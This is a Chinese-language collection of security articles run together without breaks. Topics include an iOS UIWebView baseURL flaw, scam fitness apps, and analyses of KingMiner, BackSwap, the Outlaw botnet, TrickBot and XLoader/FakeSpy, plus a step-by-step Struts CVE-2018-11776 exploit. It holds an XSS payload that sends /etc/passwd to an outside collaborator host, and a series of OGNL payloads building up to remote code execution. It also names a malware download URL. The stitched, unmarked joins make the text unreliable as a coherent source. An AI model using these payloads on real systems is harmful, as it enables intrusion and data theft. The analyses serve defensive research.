本文介绍一个简单的,但是潜在危险性特别大、而且在iOS app中经常出现的安全漏洞。

该漏洞非常简单,但是常常被误解,当开发者在代码中是设置webView时,经常会看到:

[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@""]]

许多开发者都认为设置baseURL为@””,表示是安全的,因为baseurl被指定为空字符串,攻击者也不能加载请求到随机的恶意网站。但事实上不是这样的。

当baseURL被设置为空字符串时,攻击者可以绕过SOP保护访问APP的文件系统(使用file:// url方案)和任何外部网站。

另一个需要注意的方法是loadData:MIMEType:textEncodingName:baseURL。

错误配置可以以多种方式利用。最常见的就是文件共享,用户可以在web视图中打开文件。比如一个简单的XSS payload:

<script>
       var request = new XMLHttpRequest();
       request.open("GET","file:///etc/passwd",false);
       request.send();
request.open("POST","http://nc3fefxjk1kpku6504yvqzeyspyjm8.burpcollaborator.net",false);
       request.send(request.responseText);
</script>

这个简单的payload可以打开手机的/etc/passwd文件,然后发送其中的内容到攻击者服务器。

研究人员将其保存为.html文件,并于iCloud进行同步,然后再通过苹果的Files APP在APP内分享。

然后,当用户打开该文件时:

研究人员就接收到了用户的etc/passwd文件。

其他潜在的利用方法有:

· APP内打开URL/Web浏览:攻击者可以发送给受害者一个恶意URL,当用户点击时,就可以在APP的web视图中打开链接。

· URL scheme滥用:攻击者可以通过邮件或iMessage等外部通信方式发送一个恶意URL。如果打开链接的URL scheme在webView中,就可以进行利用。

如何应对?

应对该漏洞的最简单的办法就是将baseURL参数设置为about:blank而不是空字符串。比如:

 [webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@"about:blank"]]

现在webView已经从手机的文件系统中沙箱化了,攻击者可能可以进行弹窗,但是不能窃取数据或与恶意服务器进行通信。如果用户从文件系统中加载内嵌图像,该方案可能会干预APP的这一功能。

如果开发者选择使用新的WKWebView类,而不是老版本的UIWebView,那么这类攻击发生的可能性就会小很多。因为WKWebView增强了安全性,默认情况下不允许对本地文件系统进行AJAX请求,所以前面描述的攻击就都不能实现了。而且WKWebView还有一个开启/关闭JavaScript执行的新功能。

研究人员近期发现多个伪装成健身工具的iOS APP,这些APP误用Apple设备Touch ID特征来从iOS用户账户中偷钱。App使用了一种巧妙的支付方式,即让受害者为了健身作用而扫描指纹。

恶意软件活动

有许多APP都说可以帮助用户塑造更健康的生活方式。研究人员在Apple APP Store中发现两款假冒健身的APP,分别是Fitness Balance app和Calories Tracker app。第一眼看上去像是一个健身的APP,比如会计算用于BMI、追踪每日卡路里摄入量、提醒用户多喝水等。

但这些服务背后的成本都很高。当用户首次使用前面提到这两款APP时,APP会请求扫描指纹来查看个人卡路里跟踪和饮食建议,如图1所示。但当用户把手指放在指纹扫描器上后,APP会弹出一个支付窗口,分别是99.99、119.99和139.99欧元,如图2所示。

如果用户的Apple账户上绑定了银行卡,这个弹出窗口就只会显示一秒,交易马上就会确认,并且钱会被转到背后的运营者账户中。

根据用户接口和功能分析,这两个APP应该是同一个开发者开发的。

Scam iOS apps

图1 –Apple App Store中要求用户扫描指纹的健身APP

Scam iOS apps

图2 –Fitness Balance app和Calories Tracker app弹出的支付窗口

如果用户拒绝在Fitness Balance app中扫描指纹,就会出现另一个弹出窗口,让用户点击continue按钮才能使用APP。如果用户同意,APP会重复刚才的支付步骤。

虽然Fitness Balance app是恶意的,但是仍然收到了许多个5星好评,平均得分4.3星,而且最近有18个用户的正面评价。攻击者发布虚假评论也是提高APP声誉常用的一种方式。

受害者也将这些APP的情况报告给了apple,并要求从APP store中移除。甚至有用户直接联系了Fitness Balance app的开发者,都只收到会在下一个版本v1.1中修复报告的问题,如图3所示。

Scam iOS apps

图3 – 用户联系恶意软件开发者得到的回复

如何应对此类风险?

Apple不允许App Store中有安全产品,因此用户智能依赖APPLE自己的实现的安全措施。

ESET研究人员建议用户在下载APP前多看看负面评论,因为负面评论更真实。

iPhone X用户可以激活苹果的双击支付(Double Click to Pay)新特征,该特征要求用户双击侧键来确认支付信息,如图4所示。

Scam iOS apps

图4 –iPhone X中的双击支付确认

如果已经是攻击活动的受害者了,可以尝试要求Apple App Store进行赔偿。

加密货币挖矿在2018年有了非常快速的增长。由于加密货币的价值,黑客有足够的动力来利用受害者机器的CPU算力进行加密货币挖矿活动。本文分析一种攻击Windows服务器的门罗币挖矿恶意软件。

KingMiner恶意软件最早是2018年6月出现的,并且迅速出现2个更新的版本。攻击者在恶意软件开发过程中使用了许多的绕过技术来绕过模拟和检测方法,导致许多的杀软引擎都没有发现。

攻击流

研究人员发现KingMiner恶意软件会攻击Microsoft服务器(大多是IIS\SQL)并尝试猜测其密码。然后会在受害者机器上下载Windows Scriptlet文件(.sct)并执行。

在执行过程中,有以下步骤:

· 检测机器的CPU架构;

· 如果有老版的攻击文件存在,并kill掉相关的exe文件进程,然后删除这些文件;

· 基于检测到的CPU架构,下载payload zip文件(zip\64p.zip)。这不是真实的zip文件,而是为了绕过模拟检测的XML文件。

图1:  HTTP响应中的zip payload

· XML payload中包含base64 blob,编码后会出现在该ZIP文件中。

ZIP文件中含有5个文件:

· config.json – XMRig CPU挖矿机配置文件

· md5.txt – 只含有字符串zzz.的文本文件

· powered.exe (老版本中叫做fix.exe) –主可执行文件

· soundbox.dll/soundbox.dll – 含有powered.exe要导出的函数的DLL文件

· x.txt/y.png –二进制blob文件。这也不是一个真实的PNG文件

图 2: 攻击的第一阶段

图 3: config.json –含有钱包地址和私有池的XMRig配置文件

模拟可执行文件不会产生任何活动。

在所有的文件都提取出来后,md5.txt文件中的内容就会加到相关的DLL文件中(sandbox.dll\active_desktop_render_x64.dll)。

然后powered.exe/fix.exe会被调用和执行,然后创建一个XMRig挖矿机文件和许多值为Test.的新注册表。

图 4: 含有DLL文件的函数

可执行文件会从DLL文件中调用函数:

· ClearDesktopMonitorHook – 该函数会返回值1。

· King1 –创建一个线程并相关二进制blob文件(x.txt/y.png)中的内容。这会导致生成一个可执行文件,即XMRig CPU挖矿机的精简版。

DLL文件中含有4个函数,可能在之后用到:

· King2 – 该函数会返回值1。

· King3 – 该函数会返回值1。

· King4 – 该函数会返回值1。

· SetDesktopMonitorHook – 调用King1。

图 5: 函数king1,创建线程并将二进制blob y.png/x.txt作为参数

图 6: 攻击的第二阶段

XMRig CPU挖矿机会运行并使用受害者机器的所有CPU算力。

虽然配置为使用CPU算力的75%,但实际上使用的是100%。

图 7: 恶意powered.exe文件使用CPU 100%算力

KingMiner的进化

Check Point研究人员监控到KingMiner恶意软件在第一次出现后共出现两个变种。恶意软件还不断加入新的特征和绕过方法来避免被检测和分析。

除此之外,恶意软件在不断进化中还预留了许多占位符用于之后的更新,这也会使检测变得更难。

绕过技术

恶意软件使用绕过技术是其成功的关键。许多相关的简单价值可以使恶意软件绕过常见的模拟和检测方法:

· 混淆32p.zip/64p.zip文件。ZIP文件含有基本的XML格式数据。在从语法上进行描述或分析后,就可以看到ZIP文件了。

· 主可执行文件powered.exe和从DLL中导出的函数。只执行可执行文件确保了没有其他活动。

· 加入md5.txt内容到DLL文件中。

· 解码x.txt/y.png内容到可执行文件XMRig CPU挖矿机中。

这些绕过技术都降低了被检测到的概率:

威胁情报

KingMiner攻击者使用私有的挖矿池来避免其活动被监控。该挖矿池的API已经被关闭了,而且有问题的钱包地址没有在公共挖矿池中使用过。所以还不能确定使用的域名,因为这也是私有的。但可以看出攻击的范围非常广,包括墨西哥、印度、挪威等。

图 6: 攻击地理分布图

总结

KingMiner是一款不断发展中的加密货币挖矿恶意软件,可以绕过常见的检测和模拟系统。通过应用简单的绕过技术,攻击者可以增加攻击成功的可能性。研究人员预测这些绕过技术在2019年会不断进化,并成为加密货币挖矿攻击的主要组成。

本文将介绍BackSwap的进化过程、唯一性、成功性以及失败的地方。文中会介绍恶意软件不同版本和攻击活动的概览。

BackSwap概览

Zbot, Gozi, Dridex, Carberp等都是比较常见的银行木马。多年来,银行木马恶意软件找出高级以及复杂的方式来窃取银行木马和信用卡详情,并滥用这些信息来偷钱。

大多数银行木马会注入代码到受害者的浏览器内存中以达到窃取信息的目的。注入的代码会hook浏览器中的通信以拦截私有的银行数据。拦截的数据之后会发送给攻击者。但这种方法比较复杂和不稳定,因为注入的代码要适应不同的目标浏览器。而且攻击者必须追踪驻留浏览器快速变化的代码,这是一个非常大的挑战。

BackSwap是一个简单但是非常有效的银行木马,将自己隐藏在大量的主流和合法软件之中,比如7-Zip、FileZilla和Notepad++。从表面上看,该程序的可执行文件是非恶意的,但攻击者注入的代码最终会在用户启动前面提到的应用时执行。

BackSwap进化史

过去几个月,研究人员发现了Backswap的上百个样本,并且看到这些样本中出现的很多的变化。通过分析这些数据,研究人员将样本进行分组并分析了恶意软件行为发生的变化。

早期版本

BackSwap的第一批样本是2018年3月中旬出现的。样本中并没有对payload进行混淆,只是插入到原始程序(比如7-Zip、WinGraph和SQLMon)中去。根据恶意软件中的一些字符串,可以推断攻击目标是波兰,每个样本攻击目标是波兰的1到3家银行。最常见的目标银行网站是ipko.pl,24.pl和mbank.pl。

初始版本的另一个特征是对每个目标银行都保持一个加密资源,使用的加密方法就是使用0x9进行一个简单的XOR运算。虽然该加密方法非常弱,但BackSwap一直在使用。Web注入代码含有占位符“xxxxxxxxxxxxxxxxxxxxxxxxxx”,是恶意软件用来保存窃取的银行交易信息的IBAN。当受害者进入目标银行网站并且需要进行交易时,web注入代码就会用前面提到的IBAN替换目标IBAN,这样受害者就会把钱转入攻击者账户中。

2018年4月,更多的银行被加入成为目标,一些样本甚至含有最多6个不同的资源。Web-inject代码的JS实现使用浏览器窗口的标题改善了与PE二进制文件中代码交互的方式。Shellcode会检查浏览器标题文本的变化,并抓取这些信息发送WebInjects。恶意软件PE的后台线程会将窃取的信息保存到计算机的日志文件中,并发送给C2服务器。

4月中,BackSwap开始在目标网站的DOM中创建假的输入对象。这些假的输入域看起来和真的一模一样。但当用户填假的域时,原始域就会隐藏并包含攻击者的IBAN信息。同时,恶意软件使用新的注入技术将恶意JS传递到URL地址栏。

4月底,BackSwap第一次使用XOR key来加密资源,这次使用了0xb。这一变化使BackSwap的一大特性,最近出现的样本中每个都有一个不同的key。但使用的加密方法仍然是简单的XOR。除了XOR key的变化外,恶意软件开发者还将IBAN移到硬编码的web-injects javascript中了。

 

图3: 钱骡的硬编码信息

5月的web-injects中有一个负责复制特定字符串到剪贴板的函数copyStringToClipboard。复制的字符串中含有受害者填写的信息,由恶意软件PE中的线程负责读取和处理。

同月,研究人员发现BackSwap开始追踪受感染的机器数量,这是通过发送HTTP请求到主流的俄罗斯网站yadro.ru来实现的。该方法在从攻击者站点收集受害者位置信息非常有效和简单。而且安全产品很难将其标记为非法的。

BMP中加密的payload

2018年6月,BackSwap开发者引入了一个新的payload编码技术;在该技术中,的PIC是加密的,嵌入到一个BMP图片中,使用了BMP header的唯一性特征。

图4: 嵌入位置无关代码到图片中

BMP文件header是0x42,0x4D对应ASCII码的BM。这对十六进制数字也是有效的x86指令。下面是对这些字节的翻译:

 

BackSwap背后的攻击者就利用了BMP header来使其代码看似是无害的。指令执行后,JMP指令会开始PIC解密。解密路径非常简单,而且很容易分析。

 

第一个BMP图片非常抽象、很难理解,之后的都是基于真实图片的。第一个例子是著名电影Scarface中的一个场景。

最近的版本

2018年7月研究人员没有发现其攻击活动,8月新样本出现,这是恶意软件的一个拐点,因为攻击者利用这1个多月的时间加入了新的特征和功能:

首先,恶意活动转向攻击西班牙银行,彻底放弃了之前的波兰银行。

 

图5: BackSwap攻击的西班牙和波兰银行

其次,BackSwap改变了其保存web-injects的方式。之前对不同的目标银行保存在不同的资源中,现在将这些都融入到一个单一资源中,并用特定的分割关键词将web-inject代码段分隔开。8月份,研究人员共检测到两个分隔器,第一个是“[start:]”,第二个是“[fartu:]”。目标银行网站也不保存在恶意软件的PIC中,而是保存在web-inject代码中。示例如下:

8月份发现的样本还使用外部网站来保存javascript payload。虽然web-injects仍然保存在被劫持的程序的.rsrc区域中,但只是一个封装,并从其他服务器导入恶意JavaScript代码。将恶意代码保存在第三方服务器上不太稳定,因为安全供应商和网站本身都可以删除恶意页面。

 

BackSwap还在8月份引入了许多BMP图像。8月底,研究人员发现犯罪分子在普京的照片上加入了一些比较幼稚的文本内容来对抗杀毒软件。

 

图6: BackSwap的PIC嵌入在普京的照片中

 

之后研究人员发现攻击者对PIC payload进行了修改,尤其是加密层和一些垃圾代码,这会使分析过程变得很复杂,并且使恶意软件更难检测。在这几个月的发展中,BackSwap在Javascript web-injects中引入了一些分割器,比如[mumuo:]、[pghtyq]等。

 

11月底的样本中引入了俄罗斯电视剧Seventeen Moments of Spring的图片。web-injects中分隔符也变成了[asap:]。恶意软件将信息从Javascript web-inject代码转变为PE中的可执行shellcode的方式也发生了改变。之前的版本中,BackSwap会通过剪贴板发送受害者的凭证和其他消息到shell code,新版本中通过浏览器的URL来发送同样的数据。

 

图7: Backswap最新BMP图片

 

图8: 发送给杀毒软件的图片

总结

虽然银行木马不再是网络犯罪分子偷钱的主要方式了,但BackSwap证明了这种获利方式还在进行中。事实上,恶意软件开发者还在不断在改善银行木马来避免被安全产品发现。

恶意软件证明了可以伪装为合法应用来绕过安全措施,因此用户应该注意不要从非授权的源去下载软件。因此,强烈建议用户从原发布商官网去获取软件。

研究人员之前曾分析过一个使用Internet Relay Chat (IRC) bot的名为Outlaw的僵尸网络。本文分析研究人员利用IoT蜜罐系统发现的该组织运营的一个僵尸网络。攻击bot使用haiduc工具来搜索网络寻找攻击目标。如果成功利用了一些漏洞,就在受害者主机上运行min.sh脚本。

本文分析Outlaw攻击活动的两个变种。Bot主机第一个变种使用的脚本有两个功能:挖矿机和基于Haiduc的dropper。挖矿部分的代码有两个form表单。其中一个是明文bash/perl脚本,另一个是混淆的Perl脚本变种,可以绕过基于内容检测的IPS和防火墙的检测。Bot主机传播的第二个变种代码是用来暴力破解和利用微软Remote Desktop Protocol协议和云管理cPanel来进行权限提升的。

变种1

挖矿机会下载和执行Monero挖矿,使用的二进制文件可以运行在Linux和安卓系统上。挖矿机变种首先会检查系统中是否运行着其他挖矿机。如果发现存在其他挖矿机,脚本就会杀掉其他挖矿机的进程,并开始运行自己的挖矿机。也就是说僵尸主机可以劫持来自其他不相关的僵尸网络主机的挖矿活动。一些Mirai变种也有这样的能力,但与这样Mirai变种不同的是,僵尸主机不会修复受害者主机来预防之后的感染或重感染。

挖矿活动开始后,僵尸主机会检查进程列表以确定挖矿机是否在运行。如果没有运行,就从源地址再次下载恶意文件并重新开始挖矿进程,包括检查其他挖矿机是否存在。进程允许攻击者从别的攻击者处窃取已有的被黑的挖矿机,并且用更新的挖矿机来重感染主机,这样就可以在攻击者的XMR钱包被劫持后继续攻击活动。

一旦挖矿活动建立后,挖矿机就可以通过被黑的网站报告给其属主,被黑的站点保存有一个名字随机生成的PHP脚本。

脚本的其他部分主要是僵尸繁殖,使用的是Outlaw组织之前使用过的haiduc工具。haiduc工具集变种被用来暴力破解运行SSH服务的有漏洞的主机。如果暴力破解成功,就运行传播僵尸主机的命令。这是通过运行命令来安装min.sh脚本来实现的。然后通过PHP脚本扫描不同的目标,通过邮件发送扫描结果到僵尸管理员,这也是通过硬编码的PHP脚本实现的。与上次使用IRC构建僵尸网络不同的是,这次僵尸是通过PHP来控制的。但是挖矿机文件、haiduc工具集都来自于同一组织。

感染的主机从URL hxxp://www[.]karaibe.us/.foo/min.sh下载恶意shell脚本。有趣的是,网页源代码中嵌入了一个Google分析脚本,这样僵尸管理员就可以监控整个攻击活动了。目前,该域名被解析为篮球联赛排名的网站。这也是Outlaw组织的核心活动之一就是利用网站的PHP漏洞来获取新的C2或内容分发服务器。

感染脚本min.sh

 Figure 1. Initial script, min.sh

图1. min.sh脚本

挖矿活动

脚本的第一个部分就是下载挖矿二进制文件和其他文件。攻击者可以添加另一个服务器/域名到命令中来确保不会因为一个系统的下线导致攻击被拦截。然后提取下载的文件,并将工作目录移动到隐藏的.bin中。使用隐藏目录可以使系统管理员难以发现运行的挖矿机。然后运行XMR挖矿二进制文件,转发结果到/dev/null。

扫描活动

下一步工作目录会被修改为/tmp。隐藏的.vd目录文件会被移除来确保只有当前脚本运行。然后,下载、提取和裕兴sslm.tgz。这个基于haiduc的扫描器位于C2服务器,可以使用PHP脚本生成目标。然后发送被黑主机的the introduction到另一个位于 hxxp://www[.]karaibe[.]us/[.]foo/remote/info[.]php的PHP脚本。 Figure 2. POST request to the C&C

图2. 到C2的POST请求

在发送introduction到C2后,会将工作目录修改会/tmp并从受感影响的系统中移除感染脚本。

变种2

研究人员之前已经分析过haiduc工具集了,但这两个haiduc变种有个之前没有发现过的功能:测试获取的目标系统是否运行RDP协议或cPanel。RDP用于Windows主机和服务器的远程管理,cPanel是一款开源的云管理接口。如果在目标主机上发现任意一个服务,就保存并用于下一步的利用。

通过RDP协议扫描

在Shodan搜索发现网上有成百上千的开放RDP端口的服务器。一旦被黑,攻击者可以获取网络上另一个子网的访问权限,窃取敏感信息,监控个人,控制工业控制系统等等。

下图中的脚本被是用来运行Perl脚本psc2的,即搜索RDP相关的开放端口。结果会反馈给一个工具rdp,rdp会获取psc2提供的远程主机地址并尝试登陆。攻击者会使用该脚本的变种来进行进一步的攻击。

 Figure 3. First variant of the script running Perl script psc2 and rdp tool

图3. 运行Perl脚本 psc2 和rdp攻击的变种1

第二个变种已经为基于PHP的C2控制做好了准备,其中参数中包含class文件。其中class文件的一个变种列出了已知的企业名称,另一个变种列出了基于地理位置的IP地址class。该脚本首先运行基于perl的端口扫描器,其结果提供给drp工具,该工具是一个嵌入的wordlist,有3811行生成的凭证。

 Figure 4. Second variant of the script running Perl script psc2 and rdp tool, with embedded wordlist

图4. 运行perl脚本psc2和rdp工具的脚本的第二个变种

通过cPanel攻击云

cPanel是一个有通用管理接口的云托管平台。常被中小型企业用于管理私有云。对cPanel的攻击会影响大量的用户,因为攻击者可以劫持整个含有敏感数据的云基础设施。cPanel会公开云管理接口的登陆接口,而该接口位于企业的子域名上。攻击者就是利用该习惯发起攻击的。

与RDP类似,攻击者会使用受害者列表而不是扫描整个网络。每个主机都会被枚举来确定是否有使用了非恶意脚本bing-ip2hosts的子域名。输出的结果叫做bios会被反馈给暴力破解工具brute。

 Figure 5. cPanel attack script

图5. cPanel攻击脚本

结论

黑客组织Outlaw的僵尸网络正在不断发展中,攻击者使用PHP来实现C2的能力来克服IRC的一些缺点。该组织倾向于使用已有的黑客工具和haiduc工具,这些工具都会封装到bash文件中的,所以普通用户都可以运行这些工具。Haiduc这个工具本身就很可疑,因此会被低交互的蜜罐系统监控到。

除了工具外,该组织还在不断地发展新目标。截至目前,员工有18万被黑的主机和2万个新被黑的主机,其中包括IoT系统、不同的网站、基于云的虚拟所有服务器(VPS)、被黑的Windows服务器等等。

基于安卓的移动设备也会受影响。但需要机主先root设备,或用chrooted的基于Linux的系统运行受感染的文件。研究任意发现可以通过安卓设备上的恶意软件来检测真实的IP或位置。

Outlaw组织的目标应该是首先构建一个可以发起DDoS攻击的基础设备,然后使用暴力破解使用SSH服务的机器来扩大僵尸网络的规模,最后通过加密货币挖矿来盈利。

本文讲述如何构建CVE-2018-11776的漏洞利用。

Struts OGNL利用史

首先介绍一些背景和概念以帮助理解OGNL利用的过程。首先介绍下OGNL的基本概念。

OGNL执行环境

在Struts的中,OGNL可以使用#符号访问全局对象。本文介绍一些可以访问的对象,其中列出的对象中有两个对构建exp非常关键。第一个对象是 _memberAccess,这是用来控制OGNL 行为的SecurityMemberAccess对象,另一个是context,这是允许访问更多的其他对象的context图。获取对 _memberAccess的访问权限可以轻易地修改SecurityMemberAccess 的安全设置。比如:

#_memberAccess['allowStaticMethodAccess']=true会修改_memberAccess中的设置。

@[email protected]().exec('xcalc')会弹出一个计算器。

SecurityMemberAccess

Struts用_memberAccess来控制OGNL中允许的行为。最开始使用一些布尔变量(allowPrivateAccess, allowProtectedAccess, allowPackageProtectedAccess, allowStaticMethodAccess)来提供对OGNL访问Java classes方法和成员的访问。默认情况下,这些设置都是false。在之后的版本中,出现了用于拒绝对特定类和package进行访问的3个黑名单,分别是:

· excludedClasses

· excludedPackageNames

· excludedPackageNamePatterns。

不允许使用静态方法,但允许任意构造器(2.3.20之前版本)

默认情况下,_memberAccess 会进行配置会预防对静态、私有和受保护的方法的访问。但是在2.3.14.1版本之前,这可以通过提取#_memberAccess和修改其中的设置来轻松绕过。许多漏洞利用都使用了这样的方法,比如:

 (#_memberAccess['allowStaticMethodAccess']=true).(@[email protected]().exec('xcalc'))

allowStaticAccess

在2.3.14.1及之后版本,allowStaticMethodAccess变成了final,并且不能再修改。但是 _memberAccess允许构造任意类和访问公有方法,执行任意代码就不需要修改中 _memberAccess的设置了:

(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())

这在2.3.20之前版本都适用。

2320exploit

没有静态方法,没有构建函数,但是允许访问任意类(2.3.20-2.3.29)

在2.3.20版本中,将excludedClasses, excludedPackageNames和excludedPackageNamePatterns类加入了黑名单。另一个变化是拒绝所有constructor调用。这会杀掉ProcessBuilder payload,从这点看,静态方法和constructors都是不允许的,这会对OGNL的功能做出限制。但_memberAccess仍然是可以访问的,静态对象DefaultMemberAccess也是可以访问的。

DefaultMemberAccess对象是默认SecurityMemberAccess的一个版本,SecurityMemberAccess允许静态方法和构造函数。所以用DefaultMemberAccess替换_memberAccess就可以了。

#[email protected]@DEFAULT_MEMBER_ACCESS).(@[email protected]().exec('xcalc')

这在2.3.29版本之前都是适用的,而且这是最近的一个利用的重要部分。

对_memberAccess和类不再限制(2.3.30/2.5.2+)

最后, _memberAccess这些简单的技巧都不能用了。类ognl.MemberAccess和 ognl.DefaultMemberAccess都被加入黑名单了。下面看以下如何绕过:

#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc')

首先注意该利用并不会尝试到达_memberAccess。而是OgnlUtil获取的实例,并清除黑名单。那是怎么做到的呢?首先从context map中获取Container,其中含有以下key:

contextKeys

Key com.opensymphony.xwork2.ActionContext.container会给出OGNL执行环境中Container的实例:

container

 getInstance 方法会尝试创建一个类OgnlUtil的实例,但因为是singleton(单例模式),所以会返回现有的全局实例。

ognlUtil

为了了解全局OgnlUtil对象中的excludedClasses与 _memberAccess对象的关系,下面看一下_memberAccess是如何初始化的。

当请求到达时,调用createActionContext方法来创建新的ActionContext。

createActionContext

最终调用OgnlValueStack的setOgnlUtil方法来初始化OgnlValueStack的securityMemberAccess和OgnlUtil的全局实例。

 setOgnlUtil

从下面的例子中可以看出,securityMemberAccess和 _memberAccess是一样的。

_memberAccess 

这意味着OgnlUtil的全局实例与_memberAccess共享相同的excludedClasses, excludedPackageNames, excludedPackageNamePatternsSet,因此清除它们后也清除了_memberAccess中对应的Set。

之后,OGNL可以自由访问OgnlContext中的DEFAULT_MEMBER_ACCESS对象和setMemberAccess方法来用DEFAULT_MEMBER_ACCES替换_memberAccess,然后执行任意代码。

2510exploit

绕过2.5.16

下面解释如何在2.5.16中绕过安全措施,攻击CVE-2018-11776。

首先看一下公开的漏洞利用POC:

${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='xcalc').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}

下面开始构造可以工作的漏洞利用:

 (#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc'))

该漏洞利用并不在2.5.16版本上适用,因为该版本引入了一些新的安全措施。首先,对context和excludedClasses的访问在2.5.13版本中被移除,黑名单在2.5.10版本之后不能修改了。

下面看一下attr:

attr 

struts.valueStack的值以OgnlValueStack作为类型。如果想要用OGNL使用的context map,那么OgnlValueStack是一个不错的选择。getContext方法可以提供我们想要的context map。所以把刚才的漏洞利用修改为:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc'))

但是因为excludedClasses和excludedPackageNames 都不能修改,因为该漏洞利用还是不能工作。

clearFail

但黑名单其实是可以通过setters修改的:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc'))

修改后还不能工作,为什么呢?因为excludedClasses集被从 ognlUtil中清除了:

 clearExcludedOgnl

但不在 _memberAccess中:

notclearMemberAccess

这是因为在ognlUtil中设置excludedClasses时,会分配excludedClasses一个新的空集而不是修改_memberAccess和ognlUtil引用的集合,所以修改只影响 ognlUtil,而不影响_memberAccess。然后重新发送payload:

calculator_2516

成功打开了计算器。是如何做到的呢? _memberAccess是请求到达时,创建新ActionContext过程中创建的临时对象。每次当用createActionContext方法创建新的ActionContext时,都会调用setOgnlUtil方法使用excludedClasses, excludedPackageNames等创建_memberAccess。重新发送请求后,新创建的_memberAccess会请求其黑名单类和package,运行执行任意代码。

最后形成了两个payload,一个是清空excludedClasses和excludedPackageNames黑名单的:

 (#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

另一个是缓和_memberAccess,执行任意代码:

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('xcalc'))

顺序发送这两个payload就可以利用CVE-2018-11776执行任意代码。

前几天研究人员发现TrickBot新增加了窃取用户凭证的pwgrab32模块,近日研究人员又发现TrickBot加入了新的POS模块,使这款银行木马变得更加危险。POS模块会扫描受感染的计算机以确定是否连接支持POS服务或设备的网络。

下面分析恶意软件作者如何利用这些信息,来入侵安装了POS相关服务的网络。根据攻击者的行为,研究人员认为这是为未来进一步入侵做信息收集的准备。

psfin32模块

图1. TrickBot新模块psfin32

psfin32是TrickBot新加入的POS提取模块,与之前加入的网络域名获取模块类似,只是简单修改来识别域名中与POS相关的项目。从域名控制器和基本账户中识别出POS服务,该模块可以使用LDAP查询来访问负责存储网络中对象信息的Active Directory Services (ADS)。LDAP查询会在Global Catalog中搜索含有以下字符串的dnsHostName:

1.png

图2. LDAP查询字符串搜索

图3. LDAP查询机器搜索

如果查询不能解析请求的信息,就执行其他账户或者对象的查询:

sAMAccountName:用于支持Windows操作系统版本,如Windows NT 4.0, Windows 95, Windows 98, LAN Manager。

图4. sAMAccountName用户查询

图5. sAMAccountName组查询

Site Name:

图6. Site name查询

Organizational Unit (OU):

图7. OU查询

除了域名控制器,恶意软件还会使用UserAccountControl (UAC) 8192查询网络中计算机的基本账户或用户。

图8.非域控制器查询

TrickBot提取信息后,会保存到之前配置的log文件中,并通过POST连接发送到C2服务器Dpost。如果C2服务器不能访问,就弹出“Dpost服务器不可达”,否则弹出“报告成功发送”。

图9. C2通信

总结

考虑到该模块应用的时间,研究人员认为攻击者还处于信息收集的阶段。分析的样本中的文档和URL都不能访问了,用户应该注意可疑的邮件、文件和附件。

XLoader和FakeSpy是最近手机威胁领域两款主流的恶意软件家族。XLoader最早是2018年4月被报告使用DNS缓存投毒或DNS欺骗技术来用恶意安卓APP从受害者设备中窃取PII和金融数据,并安装其他APP。研究人员今年6月发布了FakeSpy恶意软件的报告,它使用SMS钓鱼或SMiShing来进行信息窃取攻击。

截止10月,全球XLoader和FakeSpy攻击的受害者共有384784个,受害者主要来自韩国和日本。

image.png

图1. XLoader和FakeSpy攻击的月感染量

研究人员分析发现XLoader和FakeSpy是同一组织在背后运作的。

XLoader和FakeSpy伪装为合法APP

XLoader和FakeSpy关联的第一个线索是XLoader今年6月伪装成日本的家庭送货服务公司的合法APP。而几乎所有的FakeSpy变种都伪装为前面提到的APP来窃取用户敏感信息。

深入分析XLoader和FakeSpy的活动,研究人员发现这两款恶意软件家族使用系统的生态系统来应用恶意软件。研究人员7月在VirusTotal上搜索XLoader样本发现该样本来源于一个伪装为日本家庭送货服务公司的恶意域名。1个月后,研究人员分析FakeSpy样本时发现它也来源于同一恶意域名。

image.png

图2. VirusTotal显示XLoader样本来源于前面提到的域名

image.png

图3. FakeSpy样本也来源于同一域名

而且多个XLoader和FakeSpy样本都显示同样的结果。截止发稿,研究人员共发现XLoader和FakeSpy用于应用恶意软件的126个域名。

除此之外,研究人员还发现XLoader和FakeSpy使用的方法和C2地址都有许多相似之处,其中一些变种滥用社交媒体用户资料来隐藏其真实C2地址。

image.png

图4. XLoader在社交媒体用户简介中隐藏真实的C2地址

image.png

图5. 社体媒体资料中的IP地址,都是以^^开头,以$$结尾

当APP启动时,会访问页面并分析内容来获取真实的C2地址。

Yanbian Gang

分析代码结构以及XLoader和FakeSpy的行为,可以发现FakeSpy和Yanbian Gang的样本有相关,Yanbian Gang是一个来自中国的犯罪组织,可以从韩国银行的账户中偷钱。

